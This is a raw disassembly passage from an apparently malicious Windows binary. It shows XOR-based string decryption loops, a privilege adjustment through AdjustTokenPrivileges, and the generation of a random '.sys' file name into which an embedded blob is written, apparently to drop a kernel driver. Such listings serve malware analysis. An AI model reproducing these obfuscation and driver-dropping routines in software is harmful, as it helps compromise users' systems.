sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14002f5e0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r10
cmp byte [rbp + 0xfb], 0
jne 0x14002f7e3
mov r8d, r12d
cmp ebx, 2
jl 0x14002f79f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14002f690
cmp r8d, 0x5c
jge 0x14002f7e3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14002f7b0
cmp byte [rbp + 0x287], 0
jne 0x14002f953
cmp ebx, 2
jl 0x14002f90e
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x14002f953
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14002f920
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x14002f980
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
mov rcx, qword [rbp + 0x150]
mov dword [rbp + 0x158], 1
mov eax, 2
mov dword [rbp + 0x164], eax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x158]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400300f0
mov byte [0x140a05f70], 1
movups xmm0, xmmword [0x140993ec0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140993ed0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140993ee0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140993ef0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140993f00]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x140993f10]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x140993f18]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x14002fbc3
cmp ebx, 2
jl 0x14002fb7b
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x14002fbc3
lea r9, [rbp + 0x280]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14002fb90
cmp byte [rbp + 0xfb], 0
je 0x14002fd73
mov r8d, r12d
cmp ebx, 2
jl 0x14002fd2f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14002fc20
cmp r8d, 0x5c
jge 0x14002fd73
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14002fd40
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r10
cmp byte [rbp + 0xfb], 0
jne 0x14002ff43
mov r8d, r12d
cmp ebx, 2
jl 0x14002feff
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14002fdf0
cmp r8d, 0x5c
jge 0x14002ff43
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14002ff10
cmp byte [rbp + 0x287], 0
jne 0x1400300b3
cmp ebx, 2
jl 0x14003006e
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x1400300b3
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140030080
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x1400300e0
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
call fcn.14003d0d0
mov r8d, 0x104
lea rdx, [rbp + 0x2c0]
xor ecx, ecx
call rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x2c0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140030130
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x80]
call fcn.140011c40
movzx eax, word [0x140993950]
mov word [rbp + 0x2a0], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x2a0], 0x5c
xor byte [rbp + 0x2a1], 0x38
xor al, 0x39
mov byte [rbp + 0x2a2], al
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x80]
call fcn.140036e40
mov r14, rax
lea rcx, [rbp + 0x80]
call fcn.140010b20
xor ecx, ecx
call fcn.14017e198
mov rcx, rax
call fcn.14017e04c
xor r8d, r8d
lea edx, [r8 + 0xf]
lea rcx, [rbp + 0x230]
call fcn.140014300
lea rdi, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdi, qword [rbp + 0x230]
mov esi, reloc.WS2_32.dll_ntohs
movabs r13, 0x842108421084211
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1409926b8]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x1409926c8]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm1, qword [0x1409926d8]
movsd qword [rbp + 0xd0], xmm1
mov eax, dword [0x1409926e0]
mov dword [rbp + 0xd8], eax
movzx eax, word [0x1409926e4]
mov word [rbp + 0xdc], ax
movzx eax, byte [0x1409926e6]
mov byte [rbp + 0xde], al
call fcn.14017e020
movsxd rcx, eax
mov rax, r13
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
movzx eax, byte [rbp + rcx + 0xa0]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x1400301e2
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x2c0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400302a3
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x80]
call fcn.140011c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x290], xmm1
lea r8, [r14 + 1]
cmp qword [rbp + 0x90], r8
cmovb r8, qword [rbp + 0x90]
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x280]
call fcn.140011c40
nop
lea r9, [rbp + 0x230]
lea r8, [rbp + 0x280]
movzx edx, byte [rbp + 0x2a0]
lea rcx, [rbp + 0x2a0]
call fcn.14003ea30
nop
mov r8d, 4
lea rdx, str..sys
lea rcx, [rbp + 0x2a0]
call fcn.140013730
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x2a0]
call fcn.140010b20
nop
lea rcx, [rbp + 0x280]
call fcn.140010b20
nop
lea rcx, [rbp + 0x80]
call fcn.140010b20
nop
lea rcx, [rbp + 0x230]
call fcn.140010b20
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x70]
call fcn.14016ad60
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rdx, qword [rbp + 0x110]
lea rcx, [rsp + 0x70]
call fcn.140035960
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x80], 6
jne 0x140030935
mov r8d, 0x8708
lea rdx, [0x1409c0fa0]
lea rcx, [rsp + 0x70]
call fcn.14001a000
lea rcx, [rsp + 0x78]
call fcn.1400161c0
test rax, rax
jne 0x14003047c
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx - 0x48], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx - 0x80]
and eax, 0x17
mov dword [rbp + rcx - 0x80], eax
mov edx, dword [rbp + rcx - 0x7c]
and edx, eax
jne 0x140033456
mov r14d, Ordinal_33
lea esi, [r14 - 0x1a]
xor edx, edx
mov r8d, 0xc0
lea rcx, [rbp + 0x170]
call fcn.14016ad60
movabs r13, 0xeab13a9a98e59e9b
mov qword [rbp + 0x280], r13
movabs rdi, 0x1d2e8b3fffd132ac
mov qword [rbp + 0x288], rdi
movabs rax, 0xeab13af698849ed5
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rdi
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x230], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2b8], r12
lea rax, [rbp + 0x230]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140030512
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x2a0]
call fcn.140010e90
nop
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rdx, qword [rbp + 0x110]
mov r8, qword [rbp + 0x120]
add r8, rdx
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rdx, qword [rbp + 0x110]
lea rcx, [rbp + 0x250]
call fcn.14001a3b0
nop
lea rcx, [rbp + 0x170]
mov qword [rbp + 0x178], rcx
mov qword [rbp + 0x180], r12
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.14001c8e0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x1a8]
call fcn.14001c8e0
nop
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], rdi
movabs rdx, 0x8665af9483a9ffdd
mov qword [rbp + 0x240], rdx
movabs rcx, 0x67d39ca96ad06f96
mov qword [rbp + 0x248], rcx
movabs rax, 0xeac73aff98a19ec7
mov qword [rbp + 0x80], rax
movabs rax, 0x1d728b5affb232c5
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], rdx
mov qword [rbp + 0x98], rcx
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
pxor xmm1, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140030650
movabs rax, 0x7ffffffffffffffe
mov rdx, qword [rbp + 0x2b0]
sub rax, rdx
cmp rax, rcx
jb 0x1400334ac
lea rax, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 8
cmovae rax, qword [rbp + 0x2a0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x80]
lea rcx, [rbp + 0x1c8]
call fcn.14001a660
mov word [rbp + 0x1e8], 0
mov qword [rbp + 0x1f0], r12
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], r12
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], r12
xor eax, eax
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x228], eax
lea rcx, [rbp + 0x250]
call fcn.140010aa0
nop
lea rcx, [rbp + 0x2a0]
call fcn.140010aa0
lea rcx, [rbp + 0x170]
call fcn.140049420
test al, al
jne 0x1400315ea
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x14003073a
jle 0x140030733
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x180], r12
lea rcx, [rbp + 0x170]
call fcn.1400498c0
lea rcx, [rbp + 0x170]
call fcn.1400495e0
test al, al
je 0x14003076a
lea rcx, [rbp + 0x170]
call fcn.140049420
test al, al
jne 0x1400315ea
mov byte [0x140a05f70], 1
call fcn.14003d3e0
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rcx, qword [rbp + 0x110]
call rax
movups xmm0, xmmword [0x140994510]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140994520]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140994530]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140994540]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140994550]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x140994560]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x140994568]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x1400310b3
cmp ebx, 2
jl 0x140031075
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x1400310b3
mov byte [0x140a05f70], 1
movups xmm0, xmmword [0x140993b80]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140993b90]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140993ba0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140993bb0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140993bc0]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x140993bd0]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x140993bd8]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x140030b33
cmp ebx, 2
jl 0x140030aea
movdqa xmm4, xmmword [0x14099deb0]
mov esi, 5
movd xmm6, esi
mov r14d, Ordinal_33
movd xmm5, r14d
